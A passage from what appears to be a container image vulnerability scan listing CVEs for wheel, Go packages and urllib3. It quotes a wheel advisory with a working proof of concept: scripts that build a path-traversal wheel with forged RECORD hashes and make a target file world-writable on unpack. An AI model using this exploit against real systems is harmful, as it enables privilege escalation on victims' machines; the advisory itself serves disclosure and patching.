attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

wheel 0.45.1 (pypi) pkg:pypi/wheel@0.45.1 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=0.46.1 Fixed version 0.46.2 CVSS Score 7.1 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H Description Summary Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. Root Cause Component: wheel.cli.unpack.unpack function. Affected Packages: wheel (Upstream source) setuptools (Downstream, vendors wheel) Severity: High (Allows modifying system file permissions). Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. # Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile # (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.external_attr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions) PoC I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. Prerequisites: pip install setuptools Step 1: Generate the Malicious Wheel (gen_poc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. import zipfile import hashlib import base64 import os def urlsafe_b64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii') def get_hash_and_size(data_bytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(data_bytes).digest() hash_str = "sha256=" + urlsafe_b64encode(digest) return hash_str, str(len(data_bytes)) def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}") # 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payload_content = b"PWNED by Path Traversal" # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. malicious_path = "../../poc_target.txt" # 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheel_hash, wheel_size = get_hash_and_size(wheel_content) metadata_hash, metadata_size = get_hash_and_size(metadata_content) payload_hash, payload_size = get_hash_and_size(payload_content) # 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. record_lines = [ f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}", f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}", f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] record_content = "\n".join(record_lines).encode('utf-8') # 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content) zf.writestr("evil-1.0.dist-info/METADATA", metadata_content) zf.writestr("evil-1.0.dist-info/RECORD", record_content) # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(malicious_path) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.external_attr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payload_content) print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.") if __name__ == "__main__": create_evil_wheel_v4() Step 2: Run the Exploit (exploit.py) from pathlib import Path import sys # Demonstrating impact on setuptools try: from setuptools._vendor.wheel.cli.unpack import unpack print("[*] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[*] Loaded unpack from wheel") # 1. Setup Target (Read-Only system file simulation) target = Path("poc_target.txt") target.write_text("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}") # 2. Run Vulnerable Unpack # The wheel contains "../../poc_target.txt". # unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpack_dest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}") # 3. Check Result final_perms = oct(target.stat().st_mode)[-3:] print(f"[*] Final Perms: {final_perms}") if final_perms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.") result: Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). Suggested Patch: # extract() returns the actual path where the file was written extracted_path = wf.extract(zinfo, destination) # Only apply chmod if a file was actually written if extracted_path: permissions = zinfo.external_attr >> 16 & 0o777 Path(extracted_path).chmod(permissions)

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digest	sha256:2b71556b3a9c4539e6e640d1fba5b66935d2029aa57b5561e229a05114e061b0
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platform	linux/amd64
size	114 MB
packages	250

📦 Base Image php:8.3-alpine

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digest	sha256:169e808d8f7d1346b8854ebdead7969f75aaf8ad866f31f48b17379882ed01a6
vulnerabilities

golang.org/x/crypto 0.17.0 (golang) pkg:golang/golang.org/x/crypto@0.17.0 Improper Authorization Affected range <0.31.0 Fixed version 0.31.0 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 30.289% EPSS Percentile 97th percentile Description Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance. Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process. Affected range <0.35.0 Fixed version 0.35.0 EPSS Score 0.215% EPSS Percentile 44th percentile Description SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

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Pushed	5 days ago
Size	38 MB
Packages	61
Flavor	alpine
OS	3.23
Runtime	8.3.30

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digest	sha256:354d02aa29acf525570c732b6e006ecf138de6d63ca525d552eb4b24880ddc6c
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platform	linux/amd64
size	341 MB
packages	594

📦 Base Image ubuntu:14a4f85a37e1371d2fcf8345a5325c82048e05f9501bfaa4f58924c2d56f195e

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digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
vulnerabilities

stdlib 1.18.3 (golang) pkg:golang/stdlib@1.18.3 Affected range <1.21.11 Fixed version 1.21.11 EPSS Score 0.085% EPSS Percentile 25th percentile Description The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.243% EPSS Percentile 47th percentile Description Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.646% EPSS Percentile 70th percentile Description Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected. Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template. As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml. With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21. Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution. Affected range <1.23.8 Fixed version 1.23.8 EPSS Score 0.043% EPSS Percentile 13th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range <1.19.10 Fixed version 1.19.10 EPSS Score 0.009% EPSS Percentile 1st percentile Description On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors. If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.163% EPSS Percentile 38th percentile Description Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.306% EPSS Percentile 53rd percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. Affected range <1.21.12 Fixed version 1.21.12 EPSS Score 0.618% EPSS Percentile 69th percentile Description The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail. An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail. Affected range <1.21.8 Fixed version 1.21.8 EPSS Score 1.498% EPSS Percentile 81st percentile Description The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers. Affected range <1.21.9 Fixed version 1.21.9 EPSS Score 66.635% EPSS Percentile 98th percentile Description An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection. Affected range <1.20.0 Fixed version 1.20.0 EPSS Score 0.185% EPSS Percentile 40th percentile Description Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits. In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels. Affected range <1.20.11 Fixed version 1.20.11 EPSS Score 0.083% EPSS Percentile 24th percentile Description The filepath package does not recognize paths with a ??\ prefix as special. On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x. Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b. Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b. In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name. UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 94.466% EPSS Percentile 100th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 0.150% EPSS Percentile 36th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.013% EPSS Percentile 1st percentile Description Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.066% EPSS Percentile 21st percentile Description Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.045% EPSS Percentile 14th percentile Description HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.055% EPSS Percentile 17th percentile Description A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert). Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.229% EPSS Percentile 45th percentile Description A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.175% EPSS Percentile 39th percentile Description A path traversal vulnerability exists in filepath.Clean on Windows. On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack. After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b". Affected range <1.18.9 Fixed version 1.18.9 EPSS Score 0.069% EPSS Percentile 21st percentile Description On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error. Affected range <1.18.8 Fixed version 1.18.8 EPSS Score 0.013% EPSS Percentile 2nd percentile Description Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows. In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D". Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected. Affected range >=1.18.0-0 <1.18.5 Fixed version 1.18.5 EPSS Score 0.113% EPSS Percentile 30th percentile Description Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.041% EPSS Percentile 12th percentile Description Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.038% EPSS Percentile 11th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.031% EPSS Percentile 9th percentile Description Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value. After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion. Affected range <1.18.6 Fixed version 1.18.6 EPSS Score 0.093% EPSS Percentile 26th percentile Description HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.048% EPSS Percentile 15th percentile Description Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.065% EPSS Percentile 20th percentile Description Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

urllib3 2.0.7 (pypi) pkg:pypi/urllib3@2.0.7 Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.22 <2.6.3 Fixed version 2.6.3 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.018% EPSS Percentile 4th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409). Affected usages Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Remediation Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source. Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.0 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.026% EPSS Percentile 6th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF. Allocation of Resources Without Limits or Throttling Affected range >=1.24 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.033% EPSS Percentile 9th percentile Description Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use 